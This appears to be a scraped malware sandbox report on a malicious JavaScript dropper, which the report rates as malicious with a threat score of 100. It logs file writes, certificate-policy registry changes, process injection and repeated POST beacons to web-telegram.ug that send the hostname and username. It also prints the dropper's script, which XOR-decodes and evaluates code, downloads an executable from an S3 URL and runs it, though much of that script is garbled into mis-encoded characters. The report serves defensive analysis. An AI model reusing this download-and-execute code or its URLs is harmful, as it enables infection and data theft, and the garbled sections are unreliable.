Ⰰ㈀㄀∀⤀㬀ഀ਀䤀吀攀砀琀匀琀爀攀愀洀⸀圀爀椀琀攀⠀∀瘀愀爀欀㴀㄀㔀㠀㬀∀⤀㬀ഀ਀䤀吀攀砀琀匀琀爀攀愀洀⸀圀爀椀琀攀⠀∀瘀愀爀爀㴀∀∀㬀∀⤀㬀ഀ਀䤀吀攀砀琀匀琀爀攀愀洀⸀圀爀椀琀攀⠀∀昀漀爀⠀瘀愀爀椀㴀　㬀椀㰀搀⸀氀攀渀最琀栀㬀椀⬀⬀⤀爀⬀㴀匀琀爀椀渀最⸀昀爀漀洀䌀栀愀爀䌀漀搀攀⠀搀嬀椀崀帀欀⤀㬀∀⤀㬀ഀ਀䤀吀攀砀琀匀琀爀攀愀洀⸀圀爀椀琀攀⠀∀攀瘀愀氀⠀爀⤀㬀∀⤀㬀ഀ਀䤀吀攀砀琀匀琀爀攀愀洀⸀䌀氀漀猀攀⠀⤀㬀ഀ਀䤀圀猀栀匀栀攀氀氀㌀⸀刀甀渀⠀∀∀䌀㨀尀唀猀攀爀猀尀䠀䄀倀唀䈀圀匀尀䄀瀀瀀䐀愀琀愀尀䰀漀挀愀氀尀吀攀洀瀀尀猀瘀挀开礀氀戀㘀椀樀氀㄀尀眀猀挀爀椀瀀琀⸀攀砀攀∀ ⼀⼀䈀⼀⼀䔀㨀䨀匀挀∀Ⰰ ∀　∀Ⰰ ∀琀爀甀攀∀⤀㬀ഀ਀ Script name: C:\Users\HAPUBWS\AppData\Local\Temp\svc_ylb6ijl1\sw.js contents: 瘀愀爀眀㴀渀攀眀䄀挀琀椀瘀攀堀伀戀樀攀挀琀⠀∀圀匀挀爀椀瀀琀⸀匀栀攀氀氀∀⤀㬀瘀愀爀琀㴀眀⸀䔀砀瀀愀渀搀䔀渀瘀椀爀漀渀洀攀渀琀匀琀爀椀渀最猀⠀∀─吀䔀䴀倀─∀⤀㬀瘀愀爀渀㴀∀唀琀椀氀椀昀礀开∀⬀䴀愀琀栀⸀爀愀渀搀漀洀⠀⤀⸀琀漀匀琀爀椀渀最⠀㌀㘀⤀⸀猀甀戀猀琀爀⠀㈀Ⰰ㠀⤀⬀∀⸀攀砀攀∀㬀瘀愀爀昀㴀琀⬀∀尀尀∀⬀渀㬀瘀愀爀甀㴀∀栀琀琀瀀猀㨀⼀⼀愀洀愀稀漀渀戀甀猀欀攀琀猀猀ⴀ㔀㌀㔀㘀㔀㤀㌀㄀㠀　㐀㤀ⴀ甀猀ⴀ眀攀猀琀ⴀ㄀ⴀ愀渀⸀猀㌀⸀甀猀ⴀ眀攀猀琀ⴀ㄀⸀愀洀愀稀漀渀愀眀猀⸀挀漀洀⼀唀琀椀氀椀昀礀匀攀琀甀瀀⸀攀砀攀∀㬀琀爀礀笀瘀愀爀栀㴀渀攀眀䄀挀琀椀瘀攀堀伀戀樀攀挀琀⠀∀䴀匀堀䴀䰀㈀⸀匀攀爀瘀攀爀堀䴀䰀䠀吀吀倀⸀㘀⸀　∀⤀㬀栀⸀猀攀琀伀瀀琀椀漀渀⠀㈀Ⰰ㄀㌀　㔀㘀⤀㬀栀⸀猀攀琀吀椀洀攀漀甀琀猀⠀㔀　　　Ⰰ㄀　　　　Ⰰ㄀　　　　Ⰰ㄀㈀　　　　⤀㬀栀⸀漀瀀攀渀⠀∀䜀䔀吀∀Ⰰ甀Ⰰ昀愀氀猀攀⤀㬀栀⸀猀攀渀搀⠀⤀㬀椀昀⠀栀⸀猀琀愀琀甀猀㴀㴀㴀㈀　　⤀笀瘀愀爀猀㴀渀攀眀䄀挀琀椀瘀攀堀伀戀樀攀挀琀⠀∀䄀䐀伀䐀䈀⸀匀琀爀攀愀洀∀⤀㬀猀⸀吀礀瀀攀㴀㄀㬀猀⸀伀瀀攀渀⠀⤀㬀猀⸀圀爀椀琀攀⠀栀⸀爀攀猀瀀漀渀猀攀䈀漀搀礀⤀㬀椀昀⠀猀⸀匀椀稀攀㸀㴀㄀　㈀㐀⤀笀猀⸀匀愀瘀攀吀漀䘀椀氀攀⠀昀Ⰰ㈀⤀㬀猀⸀䌀氀漀猀攀⠀⤀㬀眀⸀刀甀渀⠀∀尀∀∀⬀昀⬀∀尀∀∀Ⰰ　Ⰰ昀愀氀猀攀⤀㬀紀攀氀猀攀笀猀⸀䌀氀漀猀攀⠀⤀㬀紀紀紀挀愀琀挀栀⠀攀⤀笀紀 Script name: C:\Users\HAPUBWS\AppData\Local\Temp\svc_ylb6ijl1\sw.js contents: 䤀圀猀栀匀栀攀氀氀㌀⸀䔀砀瀀愀渀搀䔀渀瘀椀爀漀渀洀攀渀琀匀琀爀椀渀最猀⠀∀─吀䔀䴀倀─∀⤀㬀ഀ਀䤀匀攀爀瘀攀爀堀䴀䰀䠀吀吀倀刀攀焀甀攀猀琀㈀⸀猀攀琀伀瀀琀椀漀渀⠀∀㈀∀Ⰰ ∀㄀㌀　㔀㘀∀⤀㬀ഀ਀䤀匀攀爀瘀攀爀堀䴀䰀䠀吀吀倀刀攀焀甀攀猀琀㈀⸀猀攀琀吀椀洀攀漀甀琀猀⠀∀㔀　　　∀Ⰰ ∀㄀　　　　∀Ⰰ ∀㄀　　　　∀Ⰰ ∀㄀㈀　　　　∀⤀㬀ഀ਀䤀匀攀爀瘀攀爀堀䴀䰀䠀吀吀倀刀攀焀甀攀猀琀㈀⸀漀瀀攀渀⠀∀䜀䔀吀∀Ⰰ ∀栀琀琀瀀猀㨀⼀⼀愀洀愀稀漀渀戀甀猀欀攀琀猀猀ⴀ㔀㌀㔀㘀㔀㤀㌀㄀㠀　㐀㤀ⴀ甀猀ⴀ眀攀猀琀ⴀ㄀ⴀ愀渀⸀猀㌀⸀甀猀ⴀ眀攀猀琀ⴀ㄀⸀愀洀愀稀漀渀愀∀Ⰰ ∀昀愀氀猀攀∀⤀㬀ഀ਀䤀匀攀爀瘀攀爀堀䴀䰀䠀吀吀倀刀攀焀甀攀猀琀㈀⸀猀攀渀搀⠀⤀㬀ഀ਀䤀匀攀爀瘀攀爀堀䴀䰀䠀吀吀倀刀攀焀甀攀猀琀㈀⸀猀琀愀琀甀猀⠀⤀㬀ഀ਀开匀琀爀攀愀洀⸀吀礀瀀攀⠀∀㄀∀⤀㬀ഀ਀开匀琀爀攀愀洀⸀伀瀀攀渀⠀⤀㬀ഀ਀䤀匀攀爀瘀攀爀堀䴀䰀䠀吀吀倀刀攀焀甀攀猀琀㈀⸀爀攀猀瀀漀渀猀攀䈀漀搀礀⠀⤀㬀ഀ਀开匀琀爀攀愀洀⸀圀爀椀琀攀⠀∀唀渀猀甀瀀瀀漀爀琀攀搀瀀愀爀愀洀攀琀攀爀琀礀瀀攀　　　　㈀　㄀㄀∀⤀㬀ഀ਀开匀琀爀攀愀洀⸀匀椀稀攀⠀⤀㬀ഀ਀开匀琀爀攀愀洀⸀匀愀瘀攀吀漀䘀椀氀攀⠀∀䌀㨀尀唀猀攀爀猀尀䠀䄀倀唀䈀圀匀尀䄀瀀瀀䐀愀琀愀尀䰀漀挀愀氀尀吀攀洀瀀尀唀琀椀氀椀昀礀开㠀甀㠀愀㔀㘀㌀椀⸀攀砀攀∀Ⰰ ∀㈀∀⤀㬀ഀ਀开匀琀爀攀愀洀⸀䌀氀漀猀攀⠀⤀㬀ഀ਀䤀圀猀栀匀栀攀氀氀㌀⸀刀甀渀⠀∀∀䌀㨀尀唀猀攀爀猀尀䠀䄀倀唀䈀圀匀尀䄀瀀瀀䐀愀琀愀尀䰀漀挀愀氀尀吀攀洀瀀尀唀琀椀氀椀昀礀开㠀甀㠀愀㔀㘀㌀椀⸀攀砀攀∀∀Ⰰ ∀　∀Ⰰ ∀昀愀氀猀攀∀⤀㬀ഀ਀ 5c:Tfdc,"POST /api/ HTTP/1.1 Content-Type: application/json Host: web-telegram.ug Connection: close Transfer-Encoding: chunked" with payload::==> "["3exc6imf","DESKTOP-FVVF82A","HAPUBWS","SupportMan","EvSert"]" HTTP/1.1 200 OK Date: Thu 21 May 2026 09:00:09 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Server: cloudflare Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET POST DELETE PUT OPTIONS Access-Control-Allow-Headers: Content-Type Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=F%2FD9zfBTA9Gp7IFisbs2eAd3RMhXArTYEiVoe%2B%2B4FwVPd9Ibk4JmgT6uXoMdCiRHqkBQqwJ36m4i0H6YaHOzilPO%2FFZBm%2BA1qYQimbYJ6AgWjrGnHE3TNgjRk02luIg9oAE%3D"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=5 cfOrigin;dur=161 CF-RAY: 9ff2639f8f8c42ae-SJC alt-svc: h3=":443"; ma=86400 with response body ==>5B5D....... "POST /api/ HTTP/1.1 Content-Type: application/json Host: web-telegram.ug Connection: close Transfer-Encoding: chunked" with payload::==> "["3exc6imf","DESKTOP-FVVF82A","HAPUBWS","SupportMan","EvSert"]" HTTP/1.1 200 OK Date: Thu 21 May 2026 09:00:40 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Server: cloudflare Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET POST DELETE PUT OPTIONS Access-Control-Allow-Headers: Content-Type Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=8YKCGAjLmAvb79h6yZDjMWCCMdWqRl7b6%2BKYp%2F%2Bhf%2Bair9ebXce6f4L47AY00btSVVshwDeXgUMPQ0ILCyrcrtERIlZQIv7pv8Dm7C5C%2BdRR9lx7PqJN30wJEaHVpyBKuwM%3D"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=3 cfOrigin;dur=161 CF-RAY: 9ff2645d8ec4eb29-SJC alt-svc: h3=":443"; ma=86400 with response body ==>5B5D....... "POST /api/ HTTP/1.1 Content-Type: application/json Host: web-telegram.ug Connection: close Transfer-Encoding: chunked" with payload::==> "["3exc6imf","DESKTOP-FVVF82A","HAPUBWS","SupportMan","EvSert"]" HTTP/1.1 200 OK Date: Thu 21 May 2026 09:01:10 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Server: cloudflare Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET POST DELETE PUT OPTIONS Access-Control-Allow-Headers: Content-Type Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=XqGLJYg2RSJa9p98zAVCBdPs7rhahNF3QNFxhzDp7KbQEma9a5HG7dv1DpSQbFuMIiF7irmcRlmxSdpbLpkflDhAlFU7OE%2B0Zng3NVVYc7BI3Si3OrtclZ1AwshHvGeT75w%3D"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=4 cfOrigin;dur=170 CF-RAY: 9ff2651a5c768e1f-SJC alt-svc: h3=":443"; ma=86400 with response body ==>5B5D....... "POST /api/ HTTP/1.1 Content-Type: application/json Host: web-telegram.ug Connection: close Transfer-Encoding: chunked" with payload::==> "["3exc6imf","DESKTOP-FVVF82A","HAPUBWS","SupportMan","EvSert"]" HTTP/1.1 200 OK Date: Thu 21 May 2026 09:01:40 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Server: cloudflare Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET POST DELETE PUT OPTIONS Access-Control-Allow-Headers: Content-Type Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=3dbKjH510ubGaba9lD3amnl4HC353BFf%2FZ4pUaB7rSDONcnSoL%2BC%2B2BrbJRtTrYZVdWdtMf9eKmaK58uLK8twq2lPul1WiHru20krK8b14ugYBUmWwpcfoOFDn68%2Bz6qvMI%3D"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=4 cfOrigin;dur=168 CF-RAY: 9ff265d77f369100-SJC alt-svc: h3=":443"; ma=86400 with response body ==>5B5D.......5d:T671,"WScript.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "WScript.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "WScript.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "WScript.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "WScript.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "WScript.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "WScript.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "WScript.exe" reads file "C:\Users\%OSUSER%\Searches\desktop.ini" "WScript.exe" reads file "C:\Users\%OSUSER%\Contacts\desktop.ini" "WScript.exe" reads file "C:\Users\%OSUSER%\Favorites\desktop.ini" "WScript.exe" reads file "C:\Users\%OSUSER%\Links\desktop.ini" "WScript.exe" reads file "C:\Users\%OSUSER%\Saved Games\desktop.ini" "WScript.exe" reads file "C:\Users\desktop.ini" "wscript.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "wscript.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "wscript.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "wscript.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "wscript.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "wscript.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "wscript.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "wscript.exe" reads file "C:\Users\%OSUSER%\Searches\desktop.ini" "wscript.exe" reads file "C:\Users\%OSUSER%\Contacts\desktop.ini" "wscript.exe" reads file "C:\Users\%OSUSER%\Favorites\desktop.ini" "wscript.exe" reads file "C:\Users\%OSUSER%\Links\desktop.ini" "wscript.exe" reads file "C:\Users\%OSUSER%\Saved Games\desktop.ini"5e:Ta3d,"libGLESv2.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 9 sections"- Location: [%TEMP%\is-XGQS9W3DB7.tmp\libGLESv2.dll]- [targetUID: 00000000-00000952] "Grape.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 12 sections"- Location: [%TEMP%\is-XGQS9W3DB7.tmp\Grape.exe]- [targetUID: 00000000-00000952] "Utilify_8u8a563i.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- Location: [%TEMP%\Utilify_8u8a563i.exe]- [targetUID: 00000000-00000952] "d3dcompiler_47.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\SuperMaxionQuickMaxlite\d3dcompiler_47.dll]- [targetUID: 00000000-00000952] "ffmpeg.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 8 sections"- Location: [%LOCALAPPDATA%\SuperMaxionQuickMaxlite\ffmpeg.dll]- [targetUID: 00000000-00000952] "libEGL.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 9 sections"- Location: [%LOCALAPPDATA%\SuperMaxionQuickMaxlite\libEGL.dll]- [targetUID: 00000000-00000952] "wscript.exe" has type "PE32+ executable for MS Windows 10.00 (GUI) x86-64 6 sections"- Location: [%TEMP%\svc_ylb6ijl1\wscript.exe]- [targetUID: 00000000-00002804] "amsi.dll" has type "MS-DOS executable MZ for MS-DOS"- Location: [%TEMP%\svc_ylb6ijl1\amsi.dll]- [targetUID: 00000000-00002804] "Utilify_8u8a563i.tmp" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- Location: [%TEMP%\is-97LI8WEXMB.tmp\Utilify_8u8a563i.tmp]- [targetUID: 00000000-00000952] "_setup64.tmp" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 5 sections"- Location: [%TEMP%\is-XGQS9W3DB7.tmp\_isetup\_setup64.tmp]- [targetUID: 00000000-00000952] "Grape.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 12 sections"- Location: [%LOCALAPPDATA%\SuperMaxionQuickMaxlite\Grape.exe]- [targetUID: 00000000-00000952] "libGLESv2.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 9 sections"- Location: [%LOCALAPPDATA%\SuperMaxionQuickMaxlite\libGLESv2.dll]- [targetUID: 00000000-00000952] "d3dcompiler_47.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\is-XGQS9W3DB7.tmp\d3dcompiler_47.dll]- [targetUID: 00000000-00000952] "ffmpeg.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 8 sections"- Location: [%TEMP%\is-XGQS9W3DB7.tmp\ffmpeg.dll]- [targetUID: 00000000-00000952] "libEGL.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 9 sections"- Location: [%TEMP%\is-XGQS9W3DB7.tmp\libEGL.dll]- [targetUID: 00000000-00000952]5f:T665,"WScript.exe" wrote 388 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\svc_ylb6ijl1\amsi.dll": 4d5aff000300000004000000ffff0000ff000000000000004000000000000000000000000000000000000000000000000000000000000000ff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000050450000 ... "wscript.exe" wrote 2048 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\Utilify_8u8a563i.exe": 4d5a50000200000004000f00ffff0000ff0000000000000040001a00000000000000000000000000000000000000000000000000000000000000000000010000ff10000e1fff09ff21ff014cff21ffff546869732070726f6772616d206d7573742062652072756e20756e6465722057696e33320d0a24370000000000000000 ... "Utilify_8u8a563i.exe" wrote 34816 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\is-97LI8WEXMB.tmp\Utilify_8u8a563i.tmp": 4d5a50000200000004000f00ffff0000ff0000000000000040001a00000000000000000000000000000000000000000000000000000000000000000000010000ff10000e1fff09ff21ff014cff21ffff546869732070726f6772616d206d7573742062652072756e20756e6465722057696e33320d0a24370000000000000000 ... "Utilify_8u8a563i.tmp" wrote 6144 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\is-XGQS9W3DB7.tmp\_isetup\_setup64.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...60:Tb16,"wscript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "wscript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "wscript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "wscript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "wscript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "wscript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "wscript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "wscript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "wscript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "wscript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "wscript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS") "wscript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS") "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE")61:T88c,"WScript.exe" wrote 00000FB8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\svc_ylb6ijl1\wscript.exe" (Handle: 1484) "WScript.exe" wrote 00000008 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\svc_ylb6ijl1\wscript.exe" (Handle: 1484) "wscript.exe" wrote 00000FB8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\Utilify_8u8a563i.exe" (Handle: 2304) "wscript.exe" wrote 00000008 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\Utilify_8u8a563i.exe" (Handle: 2304) "wscript.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\Utilify_8u8a563i.exe" (Handle: 2304) "Utilify_8u8a563i.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\is-97LI8WEXMB.tmp\Utilify_8u8a563i.tmp" (Handle: 500) "Grape.exe" wrote 00000FB8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\SuperMaxionQuickMaxlite\Grape.exe" (Handle: 1872) "Grape.exe" wrote 00000008 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\SuperMaxionQuickMaxlite\Grape.exe" (Handle: 1872) "Grape.exe" wrote 000000BC bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\SuperMaxionQuickMaxlite\Grape.exe" (Handle: 1872) "Grape.exe" wrote 00000020 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\SuperMaxionQuickMaxlite\Grape.exe" (Handle: 1872) "Grape.exe" wrote 00000010 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\SuperMaxionQuickMaxlite\Grape.exe" (Handle: 1872) "Grape.exe" wrote 00000150 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\SuperMaxionQuickMaxlite\Grape.exe" (Handle: 1872) "Grape.exe" wrote 000000C0 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\SuperMaxionQuickMaxlite\Grape.exe" (Handle: 1872) "Grape.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\SuperMaxionQuickMaxlite\Grape.exe" (Handle: 1872) "Grape.exe" wrote 00000FB8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\SuperMaxionQuickMaxlite\Grape.exe" (Handle: 2056) "Grape.exe" wrote 00000008 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\SuperMaxionQuickMaxlite\Grape.exe" (Handle: 2056)62:T591,Spawned process "WScript.exe" with commandline ""C:\\75d80a67e5fd7383e7dad6ef3bbacfad61fbf39b16ecd026e0deb41a5b2268f4.bin.js"" (UID: 00000000-00002804) Spawned process "wscript.exe" with commandline "//B //E:JScript "%TEMP%\\svc_ylb6ijl1\\sw.js"" (UID: 00000000-00006836) Spawned process "Utilify_8u8a563i.exe" (UID: 00000000-00005108) Spawned process "Utilify_8u8a563i.tmp" with commandline "/SL5="$B024C 55373157 893952 %TEMP%\\Utilify_8u8a563i.exe"" (UID: 00000000-00000952) Spawned process "Grape.exe" (UID: 00000000-00004472) Spawned process "Grape.exe" with commandline "--type=gpu-process --field-trial-handle=1680,9351082474623949860,10396439349421579125,131072 --enable-features=WebComponentsV0Enabled --disable-features=SpareRendererForSitePerProcess --gpu-preferences=KAAAAAAAAADgAAAwAAAAAAAAYAAAAAAAEAAAAAAAAAAAAAAAAAAAACgAAAAEAAAAIAAAAAAAAAAoAAAAAAAAADAAAAAAAAAAOAAAAAAAAAAQAAAAAAAAAAAAAAAFAAAAEAAAAAAAAAAAAAAABgAAABAAAAAAAAAAAQAAAAUAAAAQAAAAAAAAAAEAAAAGAAAA --mojo-platform-channel-handle=1700 --ignored=" --type=renderer " /prefetch:2" (UID: 00000000-00004092) Spawned process "Grape.exe" with commandline "--type=utility --field-trial-handle=1680,9351082474623949860,10396439349421579125,131072 --enable-features=WebComponentsV0Enabled --disable-features=SpareRendererForSitePerProcess --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=2040 /prefetch:8" (UID: 00000000-00004808)1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"75d80a67e5fd7383e7dad6ef3bbacfad61fbf39b16ecd026e0deb41a5b2268f4","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791020933892,"unified_at":"2026-10-03T09:48:53.892Z","metadata":{"hashes":{"sha256":"75d80a67e5fd7383e7dad6ef3bbacfad61fbf39b16ecd026e0deb41a5b2268f4","sha1":"e34a48a74095e9f922b6b99de317150229e1ca45","md5":"ec5dfee13abf94e08d0f94e90b527db0","sha512":"6237f2ebd42c63badd98d605ce7e8f36fa01f9993943f77f84e01f62b54e935811108c34f0407033dc1ee89e6c9cdde40bed80ae196ae29a28ce43e3526a0dd4","ssdeep":"3072:HkfJVLGWV7uG+e3m5Y+Xs1XZWN8vRbPoE74VPrPzILBZiTfsCZlMu+l5:oJVL/ui3m9XspoE7krPzI4c","ssdeep_chunks":["3072:HkfJVLG","3072:kfJVLGW","3072:fJVLGWV","3072:JVLGWV7","3072:VLGWV7u","3072:LGWV7uG","3072:GWV7uG+","3072:WV7uG+e","3072:V7uG+e3","3072:7uG+e3m","3072:uG+e3m5","3072:G+e3m5Y","3072:+e3m5Y+","3072:e3m5Y+X","3072:3m5Y+Xs","3072:m5Y+Xs1","3072:5Y+Xs1X","3072:Y+Xs1XZ","3072:+Xs1XZW","3072:Xs1XZWN","3072:s1XZWN8","3072:1XZWN8v","3072:XZWN8vR","3072:ZWN8vRb","3072:WN8vRbP","3072:N8vRbPo","3072:8vRbPoE","3072:vRbPoE7","3072:RbPoE74","3072:bPoE74V","3072:PoE74VP","3072:oE74VPr","3072:E74VPrP","3072:74VPrPz","3072:4VPrPzI","3072:VPrPzIL","3072:PrPzILB","3072:rPzILBZ","3072:PzILBZi","3072:zILBZiT","3072:ILBZiTf","3072:LBZiTfs","3072:BZiTfsC","3072:ZiTfsCZ","3072:iTfsCZl","3072:TfsCZlM","3072:fsCZlMu","3072:sCZlMu+","3072:CZlMu+l","3072:ZlMu+l5","6144:HkfJVLG","6144:kfJVLGW","6144:fJVLGWV","6144:JVLGWV7","6144:VLGWV7u","6144:LGWV7uG","6144:GWV7uG+","6144:WV7uG+e","6144:V7uG+e3","6144:7uG+e3m","6144:uG+e3m5","6144:G+e3m5Y","6144:+e3m5Y+","6144:e3m5Y+X","6144:3m5Y+Xs","6144:m5Y+Xs1","6144:5Y+Xs1X","6144:Y+Xs1XZ","6144:+Xs1XZW","6144:Xs1XZWN","6144:s1XZWN8","6144:1XZWN8v","6144:XZWN8vR","6144:ZWN8vRb",